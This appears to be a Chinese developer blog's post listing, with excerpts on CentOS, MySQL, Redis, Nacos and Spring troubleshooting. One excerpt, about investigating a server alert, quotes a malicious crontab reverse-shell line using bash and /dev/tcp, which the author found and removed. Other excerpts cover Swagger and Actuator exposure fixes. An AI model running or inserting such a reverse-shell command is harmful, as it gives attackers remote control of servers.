- 博客(138)
- 收藏
- 关注
原创 centos7.9 rc.local启动失败
最近在虚拟机上整个centos7.9,想要把程序设置成开机自启动,发现rc.local状态是failed,重启服务器也没用。在 /etc/rc.local最下面添加 source /etc/profile,再添加想要执行的xx.sh脚本。然而仔细检查后并没有发现什么问题。自己之前写过两篇相关的博客。重启服务器,完美解决。
2023-07-11 21:19:26
1186
1
原创 centos7.9 安装redis5.0.7记录
发现daemonize是 no,protected-mode是 yes, 我记得之前是改过的。再次修改 daemonize yes,protected-mode no。再安装 make && make install。一开始大意了,没有安装gcc,直接就make。编辑/etc/sysctl.conf文件,添加。编辑 etc/rc.local,在最下面添加。期间直接启动 ,开始是成功了,但过一会就断了。再次重新启动redis,发现并没有用。再去检查redis.conf。重启redis,就正常了。
2023-07-10 22:45:00
453
原创 windows、linux部署seata1.3.0
seata1.3.0下载地址:windows、linux下载各自的包,如果在浏览器下载很慢,也可以丢到服务器上下载。
2023-07-04 23:47:49
1243
原创 docker查看或修改redis密码
查看redis密码出现:(error) NOAUTH Authentication required./usr/local/bin/redis-server --version # 查看redis版本。正常就会提示'OK',再执行config get requirepass就可以获取到密码了。如果是本机安装的redis,启动客户端命令:./redis-cli。使用auth密码来认证密码。auth '你的密码'
2023-06-25 22:05:37
4770
3
原创 Swagger接口未授权访问漏洞
处理办法,加上enable(false)或者将SwaggerConfig给注释掉,弊端就是你自己也访问不了接口文档。通过下面链接可以获取到接口信息。
2023-06-16 23:37:10
7867
2
原创 Springboot Actuator未授权访问漏洞
Actuator 是 Springboot 提供的用来对应用系统进行 自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查 看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。在浏览器中输入 ip:port/方法二:完全禁用Actuator。
2023-06-13 23:57:06
3276
4
原创 idea频繁移动文件导致类报错
最近将项目的结构重新调整,分了很多单独的包,直接在idea中拖动文件或文件夹,最后导致有部分类找不到引用报错。鼠标点击resource文件夹右键--MarkDirectory as -> Resources Root。原因:idea没有指定resource目录,导致启动时没有读到配置文件。
2023-06-08 12:49:40
1037
原创 nacos升级到2.0.3(单机模式)
nacos官方文档指出 nacos.core.auth.plugin.nacos.token.secret.key 不能使用默认值,nacos.core.auth.server.identity.key,nacos.core.auth.server.identity.value也一样,都需要修改。linux中启动第一行日志就会打印 c.a.n.c.c.impl.LocalConfigInfoProcessor : LOCAL_SNAPSHOT_PATH:/root/nacos/config。
2023-06-07 22:46:43
2966
2
原创 centos7.9 mysql8跳过密码验证,查看或修改密码安全策略
策略为1时,也就是MEDIUM,不仅需要长度满足,还有数字,大小写,特殊字符要求。2.修改完成后将 /etc/my.cnf 中的 skip-grant-tables 注释或者删除。4.显示用户和其他信息 如账户锁定,密码到期状态,最后的修改时间(这个有时候需要)编辑/etc/my.cnf文件,在最下面添加添加,重启MySQL服务即可。有人说这只是临时有用,最好的办法还是去/etc/my.cnf文件添加。1.编辑/etc/my.cnf文件,在最下面添加。策略为0时,密码强度最低,只要长度满足就可以了。
2023-06-07 18:45:35
2833
原创 linux服务器告警反弹shell行为
检测说明:进程sh的启动参数为 /bin/sh -c bash -i>& /dev/tcp/服务器iP/端口 0>&1,符合可疑进程参数的特性.发现有记录 * * * * * bash -i >& /dev/tcp/服务器iP/端口 0>&1。客户今天持续收到服务器告警,给出了可以参数信息。告警说明:Linux反弹shell行为。再去看cron日志,果然一分钟一次。果断将里面的内容清空,到此告警消失。
2023-05-20 18:35:54
758
原创 阿里云OSS存储空间绑定自定义域名,浏览器通过自定义域名预览文件
配置完成后,在文件的详情页面,【自有域名】选择 lanren312.xxx.com,复制url浏览器访问就是预览。3、点击后页面会出现【域名,主机记录,值】,再去【域名】解析一个二级域名,填写刚刚的【主机记录,值】,记录类型要选择txt,这个主机记录有点长,直接复制粘贴就行。1、OSS控制台,左侧--【Buket列表】,点击右侧列表中【Buket名称】,在中间的【Buket配置】下点击【域名管理】2、在右侧列表点击【绑定域名】,在绑定域名页输入域名,会有提示【域名所有权验证】再去【域名】解析一个二级域名。
2023-05-20 18:19:10
2502
原创 Method threw ‘java.lang.StackOverflowError‘ exception. Cannot evaluate ...Menu.toString()......
今天debug代码时发现报错,看字面意思需要重写toString方法。
2023-05-20 00:08:54
540
原创 将本地exe程序添加到注册表,前端启动
3、win+R 输入 regedit,在弹出的注册表编辑器的HKEY_CLASSES_ROOT中搜索 lanren312,这个要确保唯一。4、在前端 windows.open("lanren312://") 就可以打开本地的exe程序。2、编辑内容,将软件标识和启动路径换成你自己的,保存关闭后双击运行。1、新建一个lanren312.reg文件,填写模板内容。
2023-05-10 22:45:00
4676
6
原创 vue父组件在created中调用子组件报错
前两天在父组件中将调用子组件的方法写到了created中,发现子组件没有接收到父组件传的参数。解决办法,在父组件的created中加个延时调用。
2023-05-08 22:27:11
531
原创 mysql报错:java.sql.SQLSyntaxErrorException: Expression #1 of SELECT list is not in GROUP BY clause...
之前数据库版本是5.7,最近在虚拟机上整了个8.0.32版本,程序运行会报错,本着不改程序的原则,只能修改数据库。以上是centos的操作,如果是window本地,应该是在my.ini中添加,也需要在服务中心重启mysql。ONLY_FULL_GROUP_BY会检查sql,你查询了哪些字段,group by的时候也需要写上。还有最重要一步,重启mysql服务。修改完成后还需要修改配置文件。数据库版本: 8.0.32。
2023-05-07 20:59:41
1048
原创 mysql报错:You can change this value on the server by setting the ‘max_allowed_packet‘ variable.
解决办法,修改mysql的my.ini文件,添加 max_allowed_packet = 100M。如果是centos应该是要修改my.cnf文件,再执行重启命令 (没有测试)
2023-05-05 23:07:08
1713
原创 centos7重启后/etc/rc.local中的脚本没有执行
前阵子自己安装了WMware16、centos7,配置好jdk、mysql、nginx、redis并设置好开机自动启动后,打算将服务也做成自启动,因为之前做过本以为会很顺利,结果整了快两小时,觉得有必要记录下。配置好后重启虚拟机发现运行java的脚本没运行成功,排查开始......先上配置文件。
2023-04-22 16:00:44
2089
原创 windows环境使用tomcat8部署war包,下载报错:java.lang.OutOfMemoryError: Java heap space
最近有注意到在本地tomcat部署的项目,大一点的文件点击下载,直接报错java.lang.OutOfMemoryError: Java heap space。想想应该是tomcat配置的问题,看下启动的service.bat,日志catalina.2023-03-14.log。修改service.bat文件163、164行 JvmMs=2048,JvmMs=2048。修改完成后先将原先的tomcat服务删掉,再重启服务。再次下载,就没有报错,而且速度很快。
2023-03-28 00:55:03
760
原创 linux定时备份mysql8数据库并删除10天前的备份文件
升级到mysql8后,执行脚本报错,大致意思就是密码不能写在脚本中。mysql5的备份脚本 mysqlbackup.sh。修改脚本 mysqlbackup.sh。定时启动脚本请参考我的博客。想要做成脚本启动,参考。修改my.cnf配置文件。
2023-03-23 19:52:19
570
原创 failed to parse multipart servlet request; nested exception is org.apache.commons.fileupload..
今天同事反应上传图片报错,自己测试有没发现问题,询问得知上传的图片是截图,用这个截图在本地和服务器测试都会报错,这就很无语了,上详细的报错信息。再次启动项目,发现D盘有新建文件夹目录 D:\home\temp\work\Tomcat\localhost\ROOT。在.yml文件配置tomcat的临时目录。再测试上传就没问题了。
2023-03-09 22:47:39
4239
原创 idea使用Maven项目complie发现资源.doc文件缺失解决办法
this.getClass().getClassLoader().getResource("")获取的是target中的地址。发现在 target/class中并没有/template文件夹,所以报空指针了。在获取本地的template文件夹中.docx文件时报空指针,贴出下面的代码。在pom.xm加了几行代码暂时解决。
2023-03-01 00:21:01
358
原创 github的项目转移到coding包含所有提交历史记录
创建方法:在git控制台点击右侧头像,选择Settings---Developer settings,按下图的操作,可以自定义token的有效期,选项我都选了,记好页面的token哟。用sourcetree将项目clone到本地,再看看history,你就会发现历史提交记录也过来了。这里还有个操作,修改已有项目的url,我这里是在项目的原文件夹下操作的。生成 README.md 文件和 .gitignore 文件。大概意思就是不能使用账号密码的方式了,要是用token。本地执行克隆命令,并带上参数。
2023-02-13 23:12:53
756
原创 idea启动项目错误记录
解决办法:在idea中设置setting--搜索maven--点击ignored files,看右边的面板中变灰的maven模块是否被勾选pom.xml,把勾去掉。解决办法:run/debug Configuartion----Environment----Use classpath of module要选中模块。框中右下角提示 Error: Module not specified。子模块要提前 maven install。原因:忽略了maven模块。
2023-02-09 22:23:26
2349
原创 windows中mysql5升级到mysql8,mysql5数据导入mysql8中文乱码
客户机器上安装的mysql5,最近提出mysql要最新的,就要,他就要,那就安排mysql8。在新安装mysql8的目录下新增文件 my.ini。我这里在服务中就直接重新启动了,输入命令看下。升级完成,再次导入数据就没有报错了。1、官网下载最新的mysql。2、导入数据报错参考。
2023-02-02 22:47:25
1346
原创 idea常用操作
选择右边的 Edit variables,需要给date和time、params、return 设置参数 Expression列-- date()、time()、methodParameters()、methodReturnType()打开file->setting->Editor->LiveTemplates点击右边上面那个绿色的+号,选择Template Group双击,然后弹出一个窗口,随便添加一个名字,我这里添加的是lanren312,然后点击OK;
2023-01-17 21:15:00
247
原创 The media could not be loaded, either because the server or network failed...
视频在云服务器的OOS上,前端vue查看视频使用了video-player组件,在自己的云服务器上视频播放正常,但是在客户的服务器上视频无法播放。排除地域问题,之前有在nginx中有配置 add_header X-Frame-Options SAMEORIGIN;重启nginx发现视频还是无法播放,临时解决办法,直接使用window.open(url, "_blank");有尝试修改 X-Frame-Options。
2023-01-05 23:15:00
10227
原创 eclipse导入idea项目
2、打开eclipse,选择import,再选择 Exsting Projects into Workspace。activiti要用到eclipse,eclipse导入已存在的项目。1、使用idea打开项目 ctrl+alt+shift+s。
2022-12-27 22:45:00
5208
原创 navicate Premium 16连接阿里云云数据库RDS
数据库连接有内网地址和外网地址,navicate中主机地址写外网地址。阿里云控制台搜索云数据库RDS,点击左侧实例列表,在列表中点击管理。左侧有白名单与安全组、数据库连接。白名单与安全组添加自己机器的ip。
2022-11-23 23:01:24
862
原创 centos7定时任务清除buff/cache & crontab
最近有部分项目运行很卡,之前都是手动清理缓存,容易忘记,现在写个自动清理的脚本并加入到定时任务中。
2022-11-21 22:25:01
2571
原创 frp内网穿透服务
依赖于:Github开源软件FRPfrp 主要由 客户端(frpc) 和 服务端(frps) 组成服务端(frps)-部署在具有公网IP的机器上客户端(frpc)-部署在需要穿透的内网服务所在的机器上 (我部署在window机器上)
2022-11-19 22:24:33
1419
原创 centos使用tomcat部署项目
我的静态资源文件上传路径: /lanren312/apache-tomcat-8.0.53/webapps/resource/我的静态资源文件下载路径: http://服务器ip:8080/resource/将war包(xxx.war)和前端包(xxx-vue)放到webapps目录下。打开浏览器输入 服务器ip:8080/xxx-vue, 页面就出来了。打开浏览器输入 服务器ip:8080, 这个时候猫子就出来了。
2022-11-18 22:14:20
647
原创 小米球外网映射本地tomcat
需要到https://manager.xiaomiqiu.com/ 注册获得;auth_token:用户连接小米球Ngrok的唯一Token;
2022-11-16 22:19:04
683
原创 xshell的替代工具electerm
今天接触到了一个 xshell 的替代工具 electerm,下载地址:https://electerm.github.io/electerm/点击下载本地有点慢,f12找到下载地址直接丢到云服务器上下载,速度嗖的一下就上来了。有点遗憾,xftp上传、下载没有可视化界面、进度。将下载好的文件拷贝到本地安装好,就可以使用了。
2022-11-16 16:45:51
872
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅